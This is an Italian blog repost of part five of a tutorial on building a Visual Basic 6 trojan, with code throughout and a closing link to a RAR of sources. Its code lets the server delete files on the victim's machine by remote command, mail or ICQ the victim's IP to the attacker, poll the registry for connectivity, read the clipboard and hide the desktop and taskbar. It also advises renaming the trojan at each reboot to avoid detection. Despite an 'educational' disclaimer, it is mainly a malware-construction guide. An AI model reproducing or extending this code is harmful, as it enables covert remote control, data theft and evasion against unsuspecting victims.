Senza categoria

Trojan in vb V parte

Sinceramente ero indeciso se postarlo o meno ma lo posto cmq perche il sito si chiama hackerscrackers e ci sara un motivo del nome e adesso ecco a voi mirraccomando non fate cazzate…IO NON MI ASSUMO NESSUNA RESPONSABILITA.

[MiMMuZ] “rasenta”:

COME COMPLETARE UN TROJAN SCRITTO IN VISUAL BASIC 6.0

#############################-Disclaimer Legale-#############################
Tutto il materiale qui presente è stato scritto a puro scopo didattico, l’autore non si assume nessuna responsabilità per le informazioni qui riportate e si pone come un aperto contrastatore della diffusione di trojan. Questo materiale può essere divulgato, modificato e chi vuole può pure metterci il prorpio nome, la gloria non fa per me!
#############################################################################

COSA è RICHIESTO:

-una conoscenza di base del VB
-il compilatore per VB
-una conoscenza generale sui trojan
-i concetti base di client e server
-la prima parte di questa guida

Nella prima uscita della guida ho parlato della creazione di trojan col VB in modo abbastanza generico. Nella precendente uscita ho tentato di spiegarvi le potenzialità del Winsock e ho trattato molto marginalmente la creazione di un client (ma se avete capito il winsock dovreste essere in grado di farlo ormai!) e l’aggiunta delle procedure da far svolgere al server sul computer vittima. Questa volta tenterò di darvi alcune dritte per realizzare meglio il vostro trojan.

PARAGRAFI:

1-GESTIONE DI FILE E CARTELLE
2-COME RICEVERE UNA NOTIFICA VIA MAIL O VIA ICQ
3-ALCUNE FUNZIONI INTERESSANTI

———————–> GESTIONE DI FILE E CARTELLE < ----------------------- Una delle operazioni più interessanti (e divertenti) che un trojan offre è la gestione dei file. Se da una parte copiare, cancellare o rinominare file è relativamente semplice, dall'altra c'è il problema di come vedere il contenuto delle varie cartelle. Ma andrò con ordine. Come dovreste ricordare la funzione base del trojan è quella di interpretare un pacchetto del client e rispondere se necessario e che ciò si fa gestendo con una serie di if e di elseif l'evento Winsock_DataArrival (ricordate Winsock.GetData Variabile, vbstring). A questo punto dovrebbe apparirvi sconntata la soluzione. Basterà che ad un pacchetto contenente la stringa "cancella;c:\autoexec.bat" un if che controlli le prime 8 lettere della stringa, le ponga tutte minuscole e le confreonti con la scritta "cancella", quindi cerchi il carattere di separazione ";" e usi la stringa seguente come parametro. Un esempio chiarirà tutto (WSCK è il nostro Winsock, non userò nessuna matrice per comodità): Private Sub WSCK_DataArrival (ByVal bytesTotal As Long) Dim Msg as String 'variabile che conterrà i pacchetti del client WSCK.GetData Msg, vbString 'mette le stringhe estratte dal pacchetto in Msg If LCase(Left(Msg,8))="cancella" Then 'controlla la prima parte di Msg If LCase(Mid(Msg,9,1))=";" Then 'If che gestirà eventuali errori Kill Mid(Msg,10) 'cancella il file Else WSCK.SendData "Errore" 'in caso manchi qualcosa End If End If End Sub Il codice è semplice e si commenterebbe da solo, in ogni caso lo analizzerò. Il primo If prende i primi 8 caratteri di Msg, li riduce in minuscole e li confronta con "cancella" che è un comando del server. Di seguito c'è un if che controlla ci sia il carattere riservato (o separatore) ";" e se non c'è manda un segnale di errore. Se anche questo è presente estrae il percorso del file da cancellare e lo elimina. Dovrebbe essere tutto chiaro. Ho parlato della funzione Left ma non della Mid che abbiamo utilizzato nel codice. Se la funzione Left restituisce una stringa estraendola da un'altra semplicemente riducendo il numero dei sui caratteri (se dico a=Left("ciao",2) avrò a="ci"), la funzione Mid permette di prendere una stringa che inizi da qualsiasi parte all'interno dell'altra così: Mid(Stringa,Partenza,Lunghezza). Abbiamo dunque visto che per passare più parametri ad un server conviene includerli nello stesso pacchetto, separati da caratteri particolari (tipo # o *). Se non avete capito bene rileggete e se non sono stato chiaro scrivetemi. Da adesso dovreste essere in grado di comletare la gestione "semplice" dei file, il metodo di base potrebbe essere questo (ma potreste anche trovarne uno migliore!) vi basta solo conoscere qualche funzione del VB: Name Vecchio_Nome, Nuovo_Nome 'rinomina un file Kill Nome_File 'già vista. cancella un file FileLen Nome_File 'restituisce la grandezza di un file non aperto FileCopy Nome_File, Nuovo_File 'copa un Nome_File in Nuovo_File Una parte certamente più complessa è rappresentata dalla visualizzazione dei file. Per grandi linee il procedimento che io ho utilizzato è quelo di cercare i file in una cartella passata come parametro al trojan, stamparli in un file distinguendo le cartelle dai file chiudendole fra (come nel sub7) e poi spedire quel file al client. La cosa non apparirebbe difficile, sul trasferimeto dei file ho già parlato, il metodo per trovare i file in una cartella è semplice (date un’occhaita alla funzione Dir, a un API o se non trovate altri metodi usate un DirList e una FileList) eppure qualche problema può nascere nella gestione delle info da parte del server. Infatti potrebbe risultare complesso il fare dei movimenti fra le cartelle non essendo esse indicate da nessuna parte. La soluzione che ho utilizzato è di lasciare in una variabile la cartella in cui ci si trova e ad ogni comando del client questa al nome del file verrà agganciato il path, in questo modo sarà facile anche un ritorno

alla dir superirore. Mi rendo conto di non essere stato motlo chiaro ma le basi per gestire i file le avete, lascio a voi il divertimeto di sbrogliare alcune operazioni.

————–> COME RICEVERE UNA NOTIFICA VIA MAIL O VIA ICQ < -------------- Un problema dei trojan per pc con ip dinamico è quello della rintacciabilità. Risulta infatti impossibile o quasi rintracciare un pc infetto senza conoscerne l'ip. Per ovviare a questo inconveniente i primi trojan hanno aggiunto la notifica via mail che consiste nel far controllare al trojan lo stato della connesione e, una volta connesso l'utente, mandava una mail con il proprio ip all'indirizzo di chi voleva controllare il trojan. In seguito è apparsa anche la notifica tramite ICQ che, mandando un messaggio ad un UIN di ICQ, grantisce con più sicurezza di rintracciare la vittima. Realizzare ciò non è difficile, basta controllare la connesione (vedremo dopo come fare) e usare lo stesso procedimento che si usa per una fakemail. Useremo un winsock per questo (il nome sarà il solito WSCK) e un'api particolare (Sleep) che gestirà il ritardo nel collegamento col nostro SMPT. Se avete mandato qualche fakemail avrete servtamente notato che fra il momento in cui date un comando e la risposta del server passa un tempo più o meno lungo in base al traffico prsente sul server. Per evitare quindi che alcuni comandi non si sovrappongano e mgùegli lasciar passare un temo che noi stimiamo sufficente fra l'invio di un comando e l'invio di un altro in modo che fra quest due operazioni il server abbia il tempo di rispondere. I comandi, che spediremo sempre col WSCK.SendData, sono gli stessi du una fakemail: Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long) questa è la dichiarazione dell'api per la funzione Sleep. WSCK.RemotePort = 25 WSCK.RemoteHost = Server_a_cui_connetersi WSCK.Connect Sleep 7000 WSCK.SendData "helo "+Server_a_cui_connetersi+vbCrLf Sleep 7000 WSCK.SendData "mail from: “+vbCrLf
‘e continuate così mettendo i comandi della fake mail

Mi sembra chiaro. WSCK.RemotePort e WSCK.RemoteHost ipostano la il server e la porta a cui connetersi, Connect connette, lasciamo una pausa di 7 secondi (Sleep riceve il tempo di stop in millisecondi) quindi iniziamo le procedure per l’invio di una semplice fake mail (notate che alla fine di ogni riga ci va un vbCrLf che corrisponde all’invio della tastierà).
Per mandare ivece una notifica via ICQ la procedura è la stessa, basta usare come destinatario della mail [email protected] (immaginado che il numero prima della @ sia il vostro UIN). Chi ha quell’UIN riceverà una comoda mail direttamente su ICQ. Semplice!

Ora vedremo la parte più complessa (neppure tanto) della notifica: lo stato della connesione.
Per vedere se un pc locale è connesso o no le strade da intraprendere sono due. La prima consiste nell’utilizzare un’API che ci da il computer collegato anche mentre si sta effetuando la connesione, l’altra cosiste nel controllare un determinato valore nel registro che indica che la connesione è effetivamente attiva (cioè quando in basso a destra appaiono i due pc collegati). Noi vedremo solo questo secondo caso che dal mio punto di vista è il più valido.
La cosa da farsi è semplice, basterebbe dare un’occhiata a questa chiave:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\RemoteAccess
se il suo valore è 0 allora la connesione non è attiva

ora basterà interrogare la chiave (tramite un timer) per controllare se il valore è diverso da zero, se si faremo una chiamata ad una procedura per l’invio della notifica.

Declare Function RegOpenKey Lib “advapi32.dll” Alias “RegOpenKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Declare Function RegQueryValueEx Lib “advapi32.dll” Alias “RegQueryValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

queste due API aprono e controllano un valore nel registro

Private Function Connesso () as Boolean

Dim handle As Long, lpData As Long
Dim lngRet As Long

Connesso = False
lngRet = RegOpenKey(HKEY_LOCAL_MACHINE, “System\CurrentControlSet\Services\RemoteAccess”, handle)

If ret = ERROR_SUCCESS Then
lngRet = RegQueryValueEx(handle, “Remote Connection”, vbNull, vbNull, lpData, Len(lpData))
If ret = ERROR_SUCCESS Then
If lpData = 0 Then
Connesso = False
Else
Connesso = True
End If
End If
End If
RegCloseKey (handle)
End Function

questa è la funzione per il controllo della chiave. Ora non vi resta che trovare il modo di configuare il trojan in modo che la mail non sia presente nel codice sorgente. Il metodo più semplice è quello di aggiungere alla fine del file (aprendolo in modalità binaria) una stringa con l’idirizzo mail. Poi metterete nel server una funzione che legga dopo la fine del file questa stringa. Per fare ciò dovrete appuntarvi da qualche parte l’effettiva dimensione del file una volta completato. Meditate gente, meditate.

———————-> ALCUNE FUNZIONI INTERESSANTI <----------------------- Vediamo adesso di rendere più completo il nostro trojan. Una prima opzione che potete aggiungere è il controllo della ClipBoard (gli appunti). Ciò risulterà estremamente facile dato che il VB mette a disposizione l'oggetto clipboard. Potrete svuotare il contenuto degli appunti con un seplice ClipBoard.Clear, potrete leggere cosa contenuto negli appunti con un Clipboard.GetData (vi darà il testo, se mette un 2 dopo getData avrete le Bitmap savate in memoria e con un 3 avrete i Metafile) e una piccola routne che faccia un SendData. Per modificare il contenuto degli appunti usate il metodo SetData sempre per l'oggetto ClipBoard. Volendo potrete far aprire una pagina web usando poche e semlici righe: Public Sub WebPage(Address As String) ret = Shell("Start.exe " & Address, 0) End Sub se passerete a questa Sub un indirizzo (la variabile Address) lei aprirà il browser predefinito su quella pagina. Un'altra cosa divertente da fare potrebe essere nascondere le icone o la barra d'avvio. Per fare ciò riccorreremo a qualche semplice API. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function GetDesktopWindow Lib "User32.dll" () As Long Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long Private Declare Function ShowWindow Lib "User32.dll" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Const SW_HIDE = 0 Const SW_SHOW = 5 Const GW_CHILD = 5 una volta dichiarate queste API e queste costanti basterà richimale in modo appropriato per ottenere la sparizone di desktop e barra. Sub ShowDesktopIcons(ByVal Visible As Boolean) Dim Desktop_Icons As Long Desktop_Icons = GetWindow(FindWindow("Progman", "Program Manager"), GW_CHILD) If Visible Then ShowWindow Desktop_Icons, SW_SHOW Else ShowWindow Desktop_Icons, SW_HIDE End If End Sub Sub ShowStartBar(ByVal Visible As Boolean) Dim Start_Bar As Long Start_Bar = FindWindow("Shell_TrayWnd", "") ' Get the "Start" bar hWnd. If Visible Then ShowWindow Start_Bar, SW_SHOW Else ShowWindow Start_Bar, SW_HIDE End If End Sub Il codice mi pare estremamente semplice quindi evito di soffermarmi. Credo che ora abbiate abbastanza materiale per divertirvi a creare trojan che subito cestinerete vero? Creare trojan non è una cosa da brave persone! Se il materiale che avete trovato qui dentro non vi soddisfa vi dò un consiglio, usate la fantasia, basta aggiungere nuove funzioni per rendere il trojan più iteressante. Provate a studiarvi le API per il controllo del mouse o provate a far stampare qualcosa. Se avete bisogno di consigli contattatemi. Una ultima cosa che vorrei aggiungere. Un consiglio che ho dimeticato di adare nella primaprte della guida è quello di far cambiare nome al trojan ad ogni riavvio in modo da renderlo ancora meno rintracciabile. come promesso eccovi anche il rar. link : http://hackerscrackers.altervista.org/blog/download/Visual_basic.rar

Lascia un commento